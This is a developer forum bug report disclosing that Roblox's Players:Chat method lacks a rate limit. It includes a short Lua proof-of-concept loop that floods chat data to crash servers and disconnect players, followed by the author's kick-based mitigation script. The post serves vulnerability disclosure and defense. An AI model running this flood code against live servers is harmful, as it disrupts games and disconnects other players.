Please private or hide this message if it is considered an active exploit, thanks.
This method:
https://developer.roblox.com/en-us/api-reference/function/Players/Chat
does not seem to have a rate limit in data transfer. (though it is PluginSecurity, it is accessible on the client to exploiters)
This can be used to crash servers and disconnect other players.
Repro in studio:
Open studio and run two clients.
Run this on one client.
local Message = ("/".. "_____".." "):rep(100000)
for i = 1, 1000 do
game.Players:Chat(Message)
end
Notice spike in ârecvâ network for the other client.
Screenshots:
Baseline RECV:
Spiked RECV:
I donât have any âclient code executorsâ to run this on live servers, but it will âcrashâ live servers, disconnecting other players on the server (confirmed to have seen this behaviour in action, and gotten reports).
I am currently using this code to mitigate this exploit:
--This event should not ever be used, kick if raised
local kick_on_chat_fn = function(player)
local connection
connection = player.Chatted:Connect(function(Message)
player:Kick("Invalid")
connection:Disconnect()
warn("Kicked player because Chatted event was fired", player.Name)
end)
end
game.Players.PlayerAdded:Connect(kick_on_chat_fn)
for _, player in pairs(game.Players:GetPlayers()) do
kick_on_chat_fn(player)
end
Which kicks anyone that raises the player.Chatted event (I havenât checked if default chat uses this event).